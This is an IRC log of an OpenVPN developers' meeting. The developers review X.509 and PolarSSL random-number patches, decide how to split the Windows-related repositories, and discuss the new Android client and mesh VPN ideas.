<@dazo> yeah 06:27 <@mattock> btw. do we want to arrange a meeting today? 06:27 <@mattock> e.g. to review Alon's remaining patches, if any? 06:28 <@dazo> it would be good ... we need to see what we want to do with the easy-rsa, tap-win32 and install-win32 repositories 06:28 <@dazo> (stuff which got kicked out) 06:28 <@mattock> or rather renamed 06:29 <@dazo> Alon has prepared something ... but I don't like his repos ... they're hacked together somehow in an odd way, breaking the commit references in commit log 06:29 <@mattock> oh yes, I see what you mean 06:29 <@dazo> (if you break the commit references, that's an indication the complete tree has been rebuilt ... which is not a good sign) 06:34 <@dazo> btw ... I have scratch git trees ready for these modules ... with code based upon the commit openvpn.git/openvpn-testing.git before these directories got removed 07:46 <@vpnHelper> RSS Update - testtrac: Remove calls to OpenSSL when building with --disable-ssl <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=39b54baa36e8625fd29d0a1ed6482f83fa78d322> 07:52 <@vpnHelper> RSS Update - testtrac: Fixed off-by-one in serial length calculation <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=2e2939e8b2680b287e4cce3af84357684e5e5093> 08:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:50 <@cron2> so are we having a meeting tonight? 10:19 <+krzee> hey cron2 =] (ild answer if i knew) 10:24 <@dazo> mattock: cron2: I can be available for a meeting tonight ... but if we do, it'll probably be more unofficial - a bit late for an announcement now ... it'll be in about 2.5 hour, or so 10:57 -!- raidz_afk is now known as raidz 11:19 <@mattock> dazo: yeah, I think so too 11:20 <@mattock> didn't have time to do a proper announcement, had other stuff 11:20 <@mattock> actually, I'll send an announcement nevertheless, doesn't hurt 11:21 <@dazo> mattock: not sure what you're going to announce, though :) 11:21 <@mattock> hmm, any suggestions? :P 11:21 <@mattock> what are we going to discuss? 11:22 <@dazo> There are a few patches from andj which would be good to have reviewed ... even though, there's somewhat of an ACK from Fabian Knittel on one these patches 11:23 <@dazo> (there's some X.509 patches and some polarssl related patches) 11:26 <@dazo> then there is the new repositories, discuss which approach to use there ... we have three potential ones, a) Alon's prepared trees - which are rebuilt with the complete git history; but commit history is mangled (commit references doesn't match) ... b) Start scratch repositories, based upon the last files from the openvpn tree (I have these ready) ... c) Clone the openvpn.git tree, and have commits which removes all files we don't want 11:26 <@dazo> in the tree any more (keeps the complete history, and contains a proper and complete git history) 11:48 * dazo heads home ... hope to be back before 18:00 UTC 11:49 -!- dazo is now known as dazo_afk 11:52 <@mattock> let's begin the meeting when dazo gets back, no need to hurry 11:52 <@mattock> at least for me :) 12:23 * cron2 is here 12:27 <@mattock> I'm also, kind of :) 12:30 <@mattock> aber wo is dazo? 12:30 <@mattock> if I recall my deutsch properly 12:33 <@cron2> wo ist dazo :) "wo is" is slang 12:34 <@mattock> oops 12:34 <@mattock> I meant "ist" 12:34 <@mattock> believe it or not :D 12:39 <@mattock> fyi: there's now an official OpenVPN Android client here: http://swupdate.openvpn.net/beta-downloads/OpenVPN-RC1.apk 12:40 <+krzee> oooo!? 12:40 <+krzee> ^5 12:43 <@mattock> I hear it does not support every possible directive in OpenVPN 12:43 <@mattock> not sure which are missing 12:44 <@mattock> also, it requires inline certs afaik 12:44 <@mattock> but that's easy to do 12:44 <+krzee> odd, the openvpn i use on android doesnt require that 12:44 <+krzee> (the one that comes in cyanogenmod) 12:45 <@mattock> not sure why that's a requirement 12:45 <+krzee> …so this runs on android that is not rooted? 12:46 <@mattock> I think so, yes, with 4.0+ I think 12:46 <+krzee> also, do any of us still have contact with that guy fries? he makes the openvpn-settings app for android, came awhile back but his connection was crap 12:46 <@mattock> not sure about Android versions 12:46 <+krzee> oh wow thats awesome 12:46 <+krzee> huge step for mobile ovpn 12:46 <+krzee> (imho) 12:47 <@mattock> krzee: I haven't talked to him 12:48 <+krzee> cool, if nobody has contact with him ill seek him out and let him know about the new package 12:49 <+krzee> did you see what i posted about that peervpn guy yesterday? 12:49 <@mattock> krzee: where to? 12:50 <+krzee> here 12:50 <@mattock> oh yes, I think so 12:50 <@mattock> the mesh thingy 12:50 <+krzee> yep! 12:51 <@mattock> I hope he gets interested in OpenVPN 12:51 <+krzee> already is 12:51 <+krzee> lemme paste the emails 12:52 <@mattock> mesh is definitely in the "good to have category" 12:52 <+krzee> i caught his interest =] 12:52 <+krzee> http://pastebin.ca/F9vN3utJ 12:52 <+krzee> password= openvpn 12:53 <@cron2> now I need an android device... 12:53 <+krzee> cron2, may i suggest HTC 12:53 <@cron2> no :-) 12:53 <+krzee> fine =[ 12:53 * cron2 has neither money nor time... 12:54 <@cron2> (and "time" is the bigger obstacle here) 12:54 <+krzee> ya… when you have time, money can be aquired 12:54 <+krzee> having niether is rough tho 12:54 <+krzee> ;] 12:54 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 12:55 * cron2 has a 2-year-old daughter instead :-) 12:56 < novaflash> hello 12:56 -!- dazo_afk is now known as dazo 12:56 < novaflash> ah, and there's dazo 12:56 <+krzee> hey if you sold her you could have time AND money! 12:56 <+krzee> lol 12:56 < novaflash> krzee; sounds like i joined at the right time.. 12:56 <+krzee> (can you tell i dont have kids? lol) 12:57 <+krzee> lol hey novaflash 12:57 < novaflash> it's quite cruel that kids don't have a choice in that :) 12:57 < novaflash> you're just born and then later you find out, oh crud, what parents.. 12:57 < novaflash> i hear there's a meet here, just wanted to sort of stalk 12:58 < novaflash> just had the meet in openvpn tech hq irc thing 12:58 < novaflash> mattock has some interesting news 12:58 <+krzee> yep! 12:58 <@mattock> dazo: hi! 12:58 <+krzee> he saved a bunch of $$ on his car insurance!!! 12:58 * dazo is catching up on scrollback 12:59 < novaflash> he did? 12:59 <@mattock> novaflash: if you're referring to the android client, they already know 12:59 <+krzee> (thats a joke from a commercial in usa…) 12:59 < novaflash> oh 12:59 < novaflash> yeah that 12:59 < novaflash> i was like 12:59 < novaflash> i wonder what they're gonna say! 12:59 < novaflash> or do! 12:59 < novaflash> but now it's like 12:59 < novaflash> yeah, we knew. ha. 12:59 <@mattock> yep, you were too slow 12:59 <@mattock> :P 12:59 < novaflash> for shame 12:59 <+krzee> [13:40] <krzee> oooo!? 12:59 <+krzee> [13:40] <krzee> ^5 12:59 <+krzee> that was my response 12:59 < novaflash> oh man 12:59 <@mattock> my limited multitasking capabilities proved superior to yours 12:59 < novaflash> that's so awesome 13:00 < novaflash> i can almost feel like i was almost there 13:00 < novaflash> i yield to your superiorness 13:00 < novaflash> but only because you have ops and i don't. 13:00 < novaflash> just kidding ;) 13:00 <+krzee> did you say you were at hq? like in california? 13:00 <+krzee> or did i misunderstand 13:01 * krzee forgot to stop by ovpn tech when he was just in california 13:02 <@mattock> krzee: no, not in the HQ, unless you count access via Internet 13:02 <@dazo> mattock: who is behind that Android client? 13:02 <@mattock> "the company" 13:02 <+krzee> CIA? 13:02 <@dazo> nice! Even an official one 13:02 <@dazo> andj: ^^^ 13:02 <@mattock> krzee: not _that_ one, but close 13:03 <@mattock> OpenVPN Technologies, Inc. 13:03 < novaflash> krzee; nah i'm in holland 13:03 < novaflash> but i was like on their server and stuff in irc 13:03 * dazo was about to suggest SD6 :-P 13:03 <@mattock> dazo: so what's the patch agenda for today? 13:03 <+krzee> ahh gotchya 13:03 * dazo is still finding the mail threads :) 13:03 < novaflash> krzee; so no crazy multidimensional shifting taking place 13:03 < novaflash> or, god forbid, travelling 13:04 <@mattock> I might be able to wedge James away from internal chatroom and get him here if we need him 13:04 <@cron2> mattock: what, OpenVPN tech did an android client? 13:04 < novaflash> cron2; yup :) 13:04 < novaflash> in public beta now 13:04 <@cron2> now I understand why James was so busy :-) but cool nonetheless 13:04 < novaflash> i heard raidz mentioning a google market/play account 13:04 <+krzee> does it come with a gui? 13:04 <@cron2> is this an AS client, or OpenVPN? 13:05 <@mattock> both 13:05 <@cron2> cool 13:05 < novaflash> gui, yes 13:05 <@raidz> ^^ 13:05 <@mattock> there's not much of a difference, actually 13:05 < novaflash> so no hardcore terminal hacking 13:05 < novaflash> hey raidz 13:05 <@dazo> mattock: if James can come, discussing new git trees would be good 13:05 <+krzee> now i better really let fries know 13:05 < novaflash> fries? 13:05 <+krzee> hes prolly currently coding another gui 13:05 <+krzee> ya the maker of openvpn-settings 13:05 * novaflash is puzzled 13:05 < novaflash> oh 13:05 <+krzee> (for android) 13:05 < novaflash> that's funny 13:05 < novaflash> i live in Friesland 13:05 < novaflash> i shit thee not 13:06 < novaflash> and i'm what is called a "fries" or frisian 13:06 <+krzee> hahah 13:06 < novaflash> bit off-topic though 13:06 <+krzee> do you live by ketchup? 13:06 < novaflash> i swear by it 13:06 < novaflash> we do have a village nearby called dearsum 13:07 < novaflash> maybe a letter by a math teacher 13:07 < novaflash> not sure 13:07 < novaflash> and then there's zurich about an hour's drive from here 13:07 < novaflash> although not THE zurich 13:07 < novaflash> and sexbierum which translates to sex, beer, rum 13:07 <@raidz> if anyone has an android with ics on it please try out the new app :-) 13:07 <+krzee> the package has tun built in too? 13:08 <+krzee> ill look into upgrading to ICS if my phone supports 13:08 <+krzee> might not tho, its kinda old 13:08 <@dazo> Okay ... patches ... easy ones first ... X509 stuff 13:08 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/5401/focus=5400 13:08 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:08 < novaflash> i did notice james saying that the openvpn client for android was cut down a little - it doesn't support ALL the directives 13:08 <@cron2> "easy ones" and then he says "X509" 13:08 * cron2 defers to andj 13:08 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:08 <@dazo> cron2: these patches are from andj ;) 13:08 <@mattock> hi jamesyonan! 13:08 <@dazo> hey!! 13:08 <@dazo> long time :) 13:08 <@jamesyonan> hi guys 13:08 <@cron2> hi jamesyonan :) 13:09 <@dazo> Then I suggest discussing git trees first 13:09 <@mattock> jamesyonan: one quickie (hopefully) 13:09 <@dazo> mattock: that's fine for you? 13:09 <@mattock> do you have any special need to build OpenVPN with Visual Studio, provided that signing and everything works? 13:10 <@mattock> as opposed to mingw_w64 13:10 <@mattock> +gcc 13:10 <@mattock> dazo: I'll have a look 13:10 <@jamesyonan> yeah, we build the AS version of OpenVPN with VS 13:10 <@mattock> dazo: misunderstood you, it's fine 13:11 <@mattock> I mean feature-vise? 13:11 <@mattock> does VS provide something extra that mingw_w64 can't? 13:11 <@dazo> jamesyonan: just out of curiosity ... any reason to do so? given that mingw64 is maintained 13:11 <@jamesyonan> in the past, there were cases where mingw wasn't up-to-date with MS header files 13:11 <@mattock> Alon did create two buildsystem: "generic" which uses mingw_w64 and "msvc", which, well uses Visual Studio toolchain 13:12 <@dazo> http://mingw-w64.sourceforge.net/ ... just fyi 13:12 <@vpnHelper> Title: GCC for both x64 & x86 Windows! - MinGW-w64 (at mingw-w64.sourceforge.net) 13:12 <@mattock> so, we have both options (gcc/msvc) for Windows now 13:13 <@mattock> very good work so far on Alon's part 13:13 <@mattock> dazo: maybe you could discuss your plans on the Git trees? 13:13 <@dazo> considering mingw64 is also part of cygwin ... it kind of got some real users, esp. as Red Hat is behind cygwin 13:14 <@dazo> Okay ... git trees 13:14 <@mattock> dazo: I'm not rushing on this :) 13:14 <@dazo> right now, the openvpn.git and openvpn-testing.git does not carry tap-win32, install-win32 and easy-rsa any more ... Alon has split them out, and have done something with a new installer which takes care of packaging it all together 13:15 <@mattock> but I think we may want to consider if we really need the MSVC buildsystem... but then again, if it does not give us (=Alon) much trouble 13:15 <@dazo> that all, is a sane approach in my eyes 13:15 <@mattock> keeping it around won't hurt much 13:15 <@mattock> sounds good also 13:15 <@dazo> What Alon has also done, is to provide 3 new git repos ... for each of these trees 13:15 <@dazo> but! 13:15 <@dazo> The problem I see with these trees, are that they have been mangled and rebuilt 13:16 <@jamesyonan> I've had problems in the past where mingw wasn't being maintained or where it lagged behind MSVC in terms of supporting full windows API 13:16 <@dazo> when you check them out, you get only what you'd expect ... but it carries the history back to the beginning of the git history 13:16 <@dazo> That 13:16 <@mattock> jamesyonan: the "msvc" buildsystem should work in those cases 13:16 <@jamesyonan> so I think it's a good idea to keep the VC option open 13:16 <@mattock> ok, makes sense 13:17 <@dazo> That's ideal, kind of ... except that if you check the git commit references against the official git tree we have ... they don't match, which is because the git tree has been rebuilt, without many files 13:17 <@dazo> so the chain of git commits gives new sha values .... which means, we can't easily check the authenticity of these new git trees 13:17 <@dazo> So, I'm suggesting two alternative approaches 13:18 <@dazo> 1) To check out the git commit from openvpn.git before Alon kicks out these parts ... and copy these files into a new tree, start with a fresh git history and in that commit message tell which git commit these files comes from in the openvpn.git tree 13:19 <@dazo> The disadvantage here is that we don't carry the complete git history 13:19 <@dazo> Alternative 2) is to clone the openvpn.git ... delete all the files we don't need ... and make a git commit based on that 13:19 <@cron2> what's the drawback of 2)? 13:19 <@dazo> disadvantage here, is that the git repo gets bigger ... advantage, complete history 13:20 <@cron2> ah, it retains all the old stuff, of course 13:20 <@mattock> a lot bigger repo 13:20 <@mattock> all the stuff from the distant past, basically 13:20 <@dazo> yeah ... I'm kind of leaning towards 1) ... but I am not against 2) at all 13:20 * cron2 abstains 13:20 <@mattock> I'd say 1) 13:20 <@dazo> jamesyonan: do you have any thoughts about this? 13:20 <@mattock> as we have the manual link to the complete history anyways 13:21 <@dazo> exactly, and that can easily be verified with diff 13:21 <+krzee> 1 sounds more logical given the history can be manually verified still 13:21 <@jamesyonan> what is the repo size difference between including the old history vs. not? 13:21 * dazo checks 13:23 <@dazo> roughly 4.5MB 13:23 <@dazo> (that's on tap-win32) 13:23 <@dazo> the new tap-win32, based on 1) will be approx 250kb 13:24 <@dazo> the complete current openvpn.git tree is about 5MB 13:24 <@jamesyonan> well are there reasonable things you might want to do with the repo that you now can't because the history isn't there? 13:25 <@cron2> bisect to find a certain change that causes problems 13:25 <@dazo> if you want to check what changed from v2.1, v2.2 and v2.3 ... that's harder with alternative 1) ... as you'll have to check out the files from the openvpn.git tree, and do a tree-diff against tap-win32.git 13:26 <@dazo> cron2++ 13:27 <@cron2> but since this is fairly well tested, and we seem to have found the single bug that went into v2.2.0, I think neither is a really serious problem 13:27 <+krzee> …whats the real downside with #2? is there anything wrong with an oversized git? 13:27 <@jamesyonan> agreed -- why not just keep the history then if just increases the repo size by a few MB? 13:28 <@dazo> The crucial part here is of course the tap-win32 tree .... the easy-rsa and install-win32 trees are not changing much at all, and those changes will probably never require reading the history 13:28 <@dazo> it'll be ~4-5MB per tree ... 13:28 <@mattock> maybe use 2) for tap-win32 and 1) for the rest? 13:28 <@dazo> that's probably most sensible 13:29 <@mattock> if all are fine with that, maybe review the patches next? 13:31 <@dazo> krzee: no, not anything really ... except duplication of data ... and if you want to pull down and build the complete windows package yourself, you need to pull down 4 git trees ... where 3 of them are duplications of one ... so it'll multiply in download 13:32 <@dazo> (so that'll probably be something like 15-20MB in download, instead of probably something like 7-8MB) 13:32 <@mattock> but if only tap-win32 is a duplicate, then it's 4,5 + 4,5 + 0,5 + 0,5 or so 13:33 <@mattock> which makes it round 10 :) 13:33 <@dazo> yeah 13:33 <@mattock> that's not so bad I think 13:33 <@dazo> far better than 20 :) 13:33 <@mattock> also, the TAP driver is only needed on Windows 13:33 <@dazo> ack 13:33 <@mattock> so, for *NIX it's ~6MB 13:33 <@dazo> yupp 13:34 <@mattock> although with the new buildsystem even some non-crazy person might even try building for Windows :P 13:34 <@mattock> anyways, I guess this is where we left off: http://thread.gmane.org/gmane.network.openvpn.devel/5401/focus=5400 13:34 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:34 <@dazo> yupp :) 13:40 <@mattock> any comments anyone? 13:40 <@mattock> or even an ACK :) 13:40 <@mattock> I abstain myself 13:40 <@jamesyonan> patch seems reasonable 13:41 <@dazo> jamesyonan: you checked all three? 13:41 <@jamesyonan> one thing to be careful of though -- never use free to free something that OpenSSL malloced for you 13:41 <@jamesyonan> I didn't look enough in detail at the patch to see if it's doing this 13:41 <@dazo> yeah, that's the openssl_free() which should be used 13:42 <@jamesyonan> and note that gc_new and friends will always use free 13:42 <@dazo> oh, good point 13:43 <@dazo> patch 1/3, which targets x509_get_subject() ... uses memcpy() to copy data over to a buffer allocated by gc_new() ... that's the pointer being returned 13:44 <@dazo> and the openssl allocated buffers are free'd by openssl functions 13:49 <@dazo> patch 3/3 seems fine to me 13:51 <@mattock> all patches ok? 13:51 * dazo is looking at 2/3 13:51 <@mattock> oh, 2/3 was last 13:53 <@dazo> 2/3 looks also fine to me 13:57 <@mattock> any more we need to look at? 13:59 <@dazo> there is this discussion ... http://thread.gmane.org/gmane.network.openvpn.devel/5590/focus=6134 13:59 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:00 <@mattock> looking... 14:00 <@mattock> ah yes, that one 14:00 <@mattock> jamesyonan: what's your take on that one? 14:00 <@dazo> (and I have two more patches from andj after that ... then I think we're pretty much taken all community patches which is not from Alon) 14:02 <@mattock> dazo: how many patches from Alon are still lacking an ACK? 14:02 <@dazo> those two last ones 14:02 <@cron2> hundreds 14:02 <@dazo> heh :) 14:02 <@jamesyonan> right, that was basically to aid in debugging so that the log file would show management interface commands that had been executed 14:02 <@dazo> okay ... so we probably don't want that patch then 14:03 <+krzee> actually that could be useful for everyone making a gui 14:03 <+krzee> web interfaces and whatnot 14:03 <@jamesyonan> yeah, I would tend to say that in most cases, the managment interface commands are not going to be verbose enough that they would bloat a log file 14:03 <@dazo> agreed 14:04 <+krzee> what verb will those show up in? 14:04 <@mattock> ok, current approach is good 14:04 <@jamesyonan> 3 I believe 14:04 <+krzee> cool =] 14:04 <@dazo> currently it is 3 14:04 <@dazo> (james lowered it from 7 to 3 ... and michael wanted to bumb it up to 7 again, which we nack now) 14:05 <+krzee> ild think at least 6 14:05 <@dazo> btw. michael answered my privately, that there's no hard feelings if we nack it 14:05 <+krzee> 3 = normal, 5 = debug firewall, 6 = same as 5 but READ/WRITE over R/W 14:06 <@dazo> well, in production, you usually want to log which commands are sent via the management interface ... so having it at 3 makes sense 14:06 <@cron2> +1 14:06 <@dazo> if you don't want it, set verb 2 ... as you probably don't want a lot of other things as well 14:06 <+krzee> hmm, ya i guess thats true 14:06 <@jamesyonan> I think the basic idea is that info that can be very useful for troubleshooting and is not so verbose as to introduce bloated log files should be emitted at verbosity levels of 4 or below 14:06 <+krzee> i was thinking it would mostly be for debug when writing an interface, but i guess it could be useful overall too 14:06 <@andj> evening 14:06 <@dazo> hey! 14:07 <@mattock> hi andj! 14:07 <@mattock> nice to have you here! 14:07 <@andj> thanks, been a bit busy lately 14:07 <@dazo> makes you feel alive, doesn't it ;-) 14:07 <@andj> :) 14:07 <@dazo> (unless it lasts so long you wish to be dead :p) 14:08 <@dazo> okay ... last patches to review from andj :) 14:08 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/5689 14:08 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:09 <@andj> ah, well timed :) 14:09 <@mattock> ah, nice! 14:09 <@dazo> andj: I've pushed out some of your patches already ... the x509 and gc patches are acked today ... and then these polarssl patches ... have I forgotten anything from you then? 14:09 <@andj> This patch adds the new entropy gathering mechanism and DRBG in PolarSSL 14:09 <@andj> I think that's it 14:10 <@dazo> cool! :) 14:10 <@andj> I'll double check once everything is in, by rebasing my stack somewhere during the next few days 14:10 <@dazo> perfect 14:12 <@andj> Anyway, this is a reasonably large patch, and adds support for the new PolarSSL DRBG. That, in turn uses three entropy sources: hardclock(), Havege, and platform entropy (/dev/urandom). 14:13 <@andj> Further, instead of having a separate RNG per connection (or struct tls_root_ctx), there's a singleton RNG instance for the whole of OpenVPN 14:14 * dazo hopes james is still with us for this review 14:14 <@jamesyonan> yeah, I'm still here 14:15 <@andj> Finally, the DRBG is personalised, by using a hash of the certificate, the pid, the time, and its location in memory 14:16 <@andj> The RNG in OpenVPN-NL is slightly different: it uses /dev/random instead of /dev/urandom, changing the default PolarSSL behaviour 14:16 <@andj> as a platform entropy source 14:17 <@dazo> and DRBG is used if PolarSSL 1.1 is available, otherwise havege is used? 14:18 <@jamesyonan> I don't think havege should ever be used by itself 14:18 <@andj> yeah, PolarSSL 1.0 doesn't support anything else 14:18 <@andj> Havege is fine on bare metal PCs 14:18 <@jamesyonan> yeah, but it doesn't work on certain VM implementations 14:19 <@andj> yeah, due to the virtualisation of the rdtsc instruction... 14:19 <@jamesyonan> I think you should either require PolarSSL version to be >= 1.1 or use a different RNG 14:20 <@andj> PolarSSL <1.1 only has havege 14:20 <@dazo> we could enforce polarssl 1.1 or newer, though 14:20 <@mattock> andj: any thoughts on that? 14:20 <@jamesyonan> standalone havege has essentially been withdrawn because of security issues 14:20 <@mattock> that'd solve the problem at least 14:20 <@andj> True, but I would like to leave the support in for a little while, allowing people the choice 14:21 <@andj> Then again, it's a risk for people using VMs 14:21 <@jamesyonan> look -- if we include it, then it becomes our security issue as well 14:22 <@dazo> I got polarssl 1.1 pushed to fedora ... and I can try to get that into EPEL ... that will result in RHEL/CentOS/ScientificLinux getting 1.1 ... Not sure what the deb world uses 14:22 <@andj> True, I'll see about yanking <1.1 support once I've got my development PC then 14:22 <@andj> (which is tomorrow or this weekend) 14:23 <@andj> I'll hand that in in a separate patch 14:23 <@andj> to allow an ack of the 1.1 code to continue now 14:23 <@dazo> perfect! 14:25 <@dazo> andj: patch 2/2 ... --enable-prediction-resistance ... is that depending on 1/2, or can we take that one separately? 14:25 <@andj> It's dependent, doesn't mean we can't review it though, same for 1/2 :) 14:26 <@mattock> dazo: debian/ubuntu also has obsolete PolarSSL version 14:26 <@andj> Is there a partial ack for 1/2? 14:27 <@jamesyonan> sure, DRBG is fine as an RNG 14:27 <@dazo> mattock: I saw some Wheezy references with 1.1 14:27 <@mattock> hmm. wheezy, that's the current testing/unstable? 14:28 * dazo dunno 14:28 <@dazo> http://pkgs.org/search/?keyword=polarssl 14:28 <@vpnHelper> Title: Search Results for polarssl (at pkgs.org) 14:28 <@jamesyonan> and having havege as an entropy source is okay as long as it's combined with other sources, as your patch apparently does 14:28 <@mattock> testing I mean, unstable is always "sid" 14:28 <@mattock> ah, wheezy is "current+1" 14:29 <@andj> jamesyonan: that's default PolarSSL >=1.1 behaviour 14:29 <@jamesyonan> great 14:30 <@mattock> debian testing and unstable already have polarssl 1.1.1: http://packages.debian.org/search?keywords=polarssl&searchon=names&suite=testing§ion=all 14:30 <@vpnHelper> Title: Debian -- Package Search Results -- polarssl (at packages.debian.org) 14:30 <@andj> about 2/2 then: prediction resistance is a feature for people with more entropy than they know what to do with 14:30 <@mattock> and if we want to provide OpenVPN packages with PolarSSL for older distros backporting those should not be a big deal 14:32 <@mattock> so what ended up being the ACK status for these two patches? 14:35 <@jamesyonan> acked with the precondition that standalone havege support be withdrawn 14:35 <@mattock> ok 14:35 <@andj> and the prediction resistance one? 14:35 <@mattock> dazo: +1 for the ACK system :P 14:35 <@dazo> :) 14:36 <@jamesyonan> ack for prediction resistance 14:36 <@andj> cool 14:36 <@andj> (perhaps a topic for later) Anyone ever looked at http://www.featvpn.com/#about ? 14:36 <@vpnHelper> Title: FEAT VPN - OpenVPN on Android without root (at www.featvpn.com) 14:37 <@cron2> andj: you missed all the fun. OpenVPN tech has released their own android openvpn client today 14:37 <@dazo> goodie! andj, you will rework patch 1/2 to enforce polarssl 1.1 without havege? 14:37 <@andj> dazo: sure 14:37 <@dazo> thx! 14:37 <@dazo> then I'll just hold back until new patches comes 14:37 <@andj> cron2: I did, where can I find it? :) 14:37 <@jamesyonan> FEAT VPN is a clever hack that lets OpenVPN run on Android 2 14:38 <@mattock> andj: there's also an official OpenVPN client for Android now 14:38 <@dazo> http://swupdate.openvpn.net/beta-downloads/OpenVPN-RC1.apk 14:38 <@dazo> andj: ^^ 14:38 <@jamesyonan> But we've released our Android client (under OpenVPN Tech.) that runs on Android 4 and higher and uses the new Android 4 VPN API 14:38 <@mattock> no need for clever hacks anymore afaik 14:40 <@andj> jamesyonan, mattock: awsome 14:40 <@andj> awesome even :) 14:40 <@andj> Is it open source? :) 14:40 <@mattock> :) 14:40 <@mattock> no clue, but jamesyonan will know 14:40 <@andj> I'd _really_ like to build an OpenVPN-NL version for Android 14:40 <@jamesyonan> no, not open source yet 14:41 <+krzee> andj++ 14:41 <@mattock> yet as in "it will be"? :P 14:41 * andj is getting more interested by the minute :p 14:41 <@mattock> before somebody else writes an alternative GUI, that is 14:41 <@mattock> using the Android VPN API 14:41 <@dazo> if it is open sourced at this point, I'm sure that would get quite some attention 14:41 <+krzee> andj, speaking of ovpn-nl, any word on blowfish being in polarssl? 14:42 <@jamesyonan> I'd like to see it be open source at some point, but not yet 14:42 <+krzee> ild like to change over, but i dont trust aes so im sticking to openssl til polar supports bf 14:42 <@mattock> jamesyonan: ok 14:43 <+krzee> mattock, odds are that fries is already working on an alternative gui… he came in here talking about his desire to do so a bit of time back 14:43 <@andj> About PolarSSL: The maintainer is a little busy right now, I'll ask him next time I see him... 14:43 <@andj> Fox-IT is look into it as well, we're quite interested in OpenVPN-NL for android 14:44 <@dazo> andj: would it help if we file a ticket in polarssl's trac? 14:44 <@mattock> krzee: ok, using the Android VPN API? 14:44 <+krzee> no idea 14:45 <@andj> dazo: you could try, but I know it's on Paul's todo list 14:46 <@dazo> andj: I don't want to push him ... but to provide some evidence that there is work in progress, that might be helpful ... that's what I thought 14:46 <@dazo> (or at least, that it is planned and some people would like it) 14:47 <@andj> dazo: go for it, at the very least it would provide a way of tracking progress 14:48 <@andj> Anyway, congratulations on the Android RC! 14:48 <+krzee> was featvpn coded by people in here? there was recent-ish talk about ideas on how to accomplish that 14:49 <@andj> Do we have any more patches to review? 14:49 <@dazo> krzee: nope, not afaik 14:49 <@andj> I'd never heard of it until recently 14:49 <+krzee> very cool 14:49 <@andj> I wonder if they've modified the Android source code? 14:49 <@andj> scrap android there 14:50 <@andj> (getting tired) 14:50 <@andj> and replace it by OpenVPN 14:50 <+krzee> i wonder why people like the featvpn team and that peervpn guy dont just join this channel and contribute instead of forking… especially now that the dev team is all organized and stuffs 14:50 <@dazo> mattock: might be worth checking out of featvpn is infringing the GPL licence ... they don't provide any source code, and we know they probably use openvpn under the hood (unless they've re-implemented the openvpn protocol) 14:50 <@andj> http://www.featvpn.com/open-source-licenses 14:50 <@vpnHelper> Title: Open Source Licenses | FEAT VPN (at www.featvpn.com) 14:51 <@mattock> might be worth a shot 14:51 < zocker> hi 14:52 <+krzee> oh shit its tobias 14:52 <+krzee> i didnt see you there 14:52 <+krzee> speaking of the peervpn guy! 14:52 <@mattock> dazo: are we done with the patches for today? 14:52 <@mattock> it's getting kind of late 14:52 <@dazo> yeah, I'd say so 14:52 < zocker> krzee: I'm the "peervpn guy" 14:52 < zocker> ;) 14:52 <+krzee> =] 14:52 <+krzee> welcome! 14:53 <@andj> hi 14:53 < zocker> and peervpn isn't really an openvpn fork ^^ 14:53 * dazo looked at the peervpn code, and can testify to that :) 14:53 <+krzee> ya, i misspoke on that one, dazo looked at it and said it was totally fresh code 14:54 <@dazo> zocker: so, have you tried to look at the openvpn code? 14:55 < zocker> i think i looked at it a long time ago to find out how to open a tap device 14:55 < zocker> but that was like 3 years ago or so 14:55 <@dazo> okay, you got that much scared :) 14:56 < zocker> haha 14:56 <@andj> btw: the source code for FeatVPN is available at http://www.featvpn.com/#howto 14:56 <@vpnHelper> Title: FEAT VPN - OpenVPN on Android without root (at www.featvpn.com) 14:57 <@dazo> anyhow ... topology mesh is something users do ask for in openvpn .... however, based on what I've quickly seen ... implementing it into openvpn won't be trivial, but not impossible 14:57 <@andj> in the introduction 14:57 <@dazo> or maybe 'mode mesh' is more appropriate 14:57 <+krzee> hmm, ya mode mesh does make more sense 14:58 <@dazo> and one important feature, would be auto config of ipv4 addresses ... and some kind of authentication as well, against a configured server 14:59 <@andj> dazo: is that necessary if you use a PKI? 14:59 <+krzee> ild assume auth should still be certs 14:59 <+krzee> exactly 14:59 <+krzee> all we lose there is the server verification 14:59 <@dazo> andj: what about those who want username/password auth? 14:59 <@andj> as long as everyone trusts the same CA 14:59 <+krzee> but since its a mesh, its not so much for end users anyways 14:59 <+krzee> dazo, you expect password auth on a mesh? 14:59 <@andj> dazo: bleh, username password is so 1900s :) 15:00 <@dazo> I'm probably seeing mesh from a different perspective .... where you have client-to-client connections in a mesh fashion 15:00 <+krzee> dazo, password auth is for setups with end-users, end-users wont be in a mesh normally 15:00 <+krzee> ahh 15:00 <+krzee> his way of handling it, they all connect to eachother 15:00 <@dazo> and also a server which can do the authentication, and to block unwanted users 15:01 <+krzee> check out his docs, its a pretty cool way of doing it 15:01 <@dazo> yeah, I know ... so that "peer-to-peer" connections would kick in after the authentication part 15:01 <+krzee> ya 15:01 <@andj> dazo: you'd still need some sort of auth token system then 15:01 <@dazo> yeah 15:01 <+krzee> ild assume pki is enough there 15:01 <+krzee> you just make a pki that is specific to the mesh 15:02 <@dazo> the other advantage here, is that assigning IP addresses would be somewhat simpler, as one server instance got control ... otherwise, you'll need to do some arp discovery 15:02 <@dazo> large scale mesh with manual ip address config won't scale well 15:02 <+krzee> yep, totally agreed 15:03 <+krzee> although full mesh doesnt scale well in general 15:03 <+krzee> but ya 15:03 <@dazo> fair point 15:04 <@dazo> but again, with a central auth point ... that one can control the size of the mesh too, so it doesn't go beyond its limits 15:04 